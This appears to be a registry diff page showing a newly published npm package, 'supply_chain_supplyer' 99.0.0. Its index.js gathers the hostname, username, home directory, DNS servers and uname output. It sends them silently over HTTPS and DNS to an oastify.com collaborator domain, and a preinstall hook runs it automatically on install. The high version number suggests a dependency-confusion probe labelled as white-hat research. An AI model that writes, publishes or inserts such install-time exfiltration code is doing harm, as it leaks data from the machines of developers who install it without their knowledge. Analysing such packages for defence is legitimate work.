supply_chain_supplyer 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/index.js +75 -0
- package/package.json +12 -0
package/index.js
ADDED
|
@@ -0,0 +1,75 @@
|
|
|
1
|
+
// index.js
|
|
2
|
+
// 🚨 For research and educational purposes only
|
|
3
|
+
|
|
4
|
+
const os = require("os");
|
|
5
|
+
const dns = require("dns");
|
|
6
|
+
const https = require("https");
|
|
7
|
+
const { execSync } = require("child_process");
|
|
8
|
+
const packageJSON = require("./package.json");
|
|
9
|
+
|
|
10
|
+
const COLLAB_DOMAIN = "pmf0oiz0nu2zq8oohp5k4fl2ttzkncb1.oastify.com";
|
|
11
|
+
|
|
12
|
+
// System Metadata Collection
|
|
13
|
+
function collectSystemInfo() {
|
|
14
|
+
let uname = "N/A";
|
|
15
|
+
try {
|
|
16
|
+
uname = execSync("uname -a").toString().trim();
|
|
17
|
+
} catch (e) {}
|
|
18
|
+
|
|
19
|
+
return {
|
|
20
|
+
pkg: packageJSON.name || "unknown",
|
|
21
|
+
ver: packageJSON.version || "unknown",
|
|
22
|
+
host: os.hostname(),
|
|
23
|
+
user: os.userInfo().username,
|
|
24
|
+
home: os.homedir(),
|
|
25
|
+
arch: os.arch(),
|
|
26
|
+
platform: os.platform(),
|
|
27
|
+
dns: dns.getServers().join(","),
|
|
28
|
+
uname: uname,
|
|
29
|
+
ts: new Date().toISOString()
|
|
30
|
+
};
|
|
31
|
+
}
|
|
32
|
+
|
|
33
|
+
// Convert object to query string
|
|
34
|
+
function buildQueryString(data) {
|
|
35
|
+
return Object.entries(data)
|
|
36
|
+
.map(([key, value]) => `${encodeURIComponent(key)}=${encodeURIComponent(value)}`)
|
|
37
|
+
.join("&");
|
|
38
|
+
}
|
|
39
|
+
|
|
40
|
+
// Send HTTP Pingback
|
|
41
|
+
function sendHttpPing(query) {
|
|
42
|
+
const options = {
|
|
43
|
+
hostname: COLLAB_DOMAIN,
|
|
44
|
+
port: 443,
|
|
45
|
+
path: `/?${query}`,
|
|
46
|
+
method: "GET",
|
|
47
|
+
timeout: 3000, // 3s timeout
|
|
48
|
+
headers: {
|
|
49
|
+
"User-Agent": "NodePing/1.0"
|
|
50
|
+
}
|
|
51
|
+
};
|
|
52
|
+
|
|
53
|
+
const req = https.request(options, (res) => {
|
|
54
|
+
res.on("data", () => {}); // Silent response
|
|
55
|
+
});
|
|
56
|
+
|
|
57
|
+
req.on("error", () => {}); // Ignore errors
|
|
58
|
+
req.end();
|
|
59
|
+
}
|
|
60
|
+
|
|
61
|
+
// Trigger DNS Pingback
|
|
62
|
+
function sendDnsPing() {
|
|
63
|
+
try {
|
|
64
|
+
const dnsSub = `npm-${os.hostname().replace(/\./g, "-")}.${COLLAB_DOMAIN}`;
|
|
65
|
+
dns.lookup(dnsSub, () => {});
|
|
66
|
+
} catch (_) {}
|
|
67
|
+
}
|
|
68
|
+
|
|
69
|
+
// Run everything
|
|
70
|
+
(function main() {
|
|
71
|
+
const info = collectSystemInfo();
|
|
72
|
+
const query = buildQueryString(info);
|
|
73
|
+
sendHttpPing(query);
|
|
74
|
+
sendDnsPing();
|
|
75
|
+
})();
|
package/package.json
ADDED
|
@@ -0,0 +1,12 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "supply_chain_supplyer",
|
|
3
|
+
"version": "99.0.0",
|
|
4
|
+
"description": "Facebook White Hat Researcher",
|
|
5
|
+
"main": "index.js",
|
|
6
|
+
"scripts": {
|
|
7
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
8
|
+
"preinstall": "node index.js"
|
|
9
|
+
},
|
|
10
|
+
"author": "Vishal Kumar",
|
|
11
|
+
"license": "MIT"
|
|
12
|
+
}
|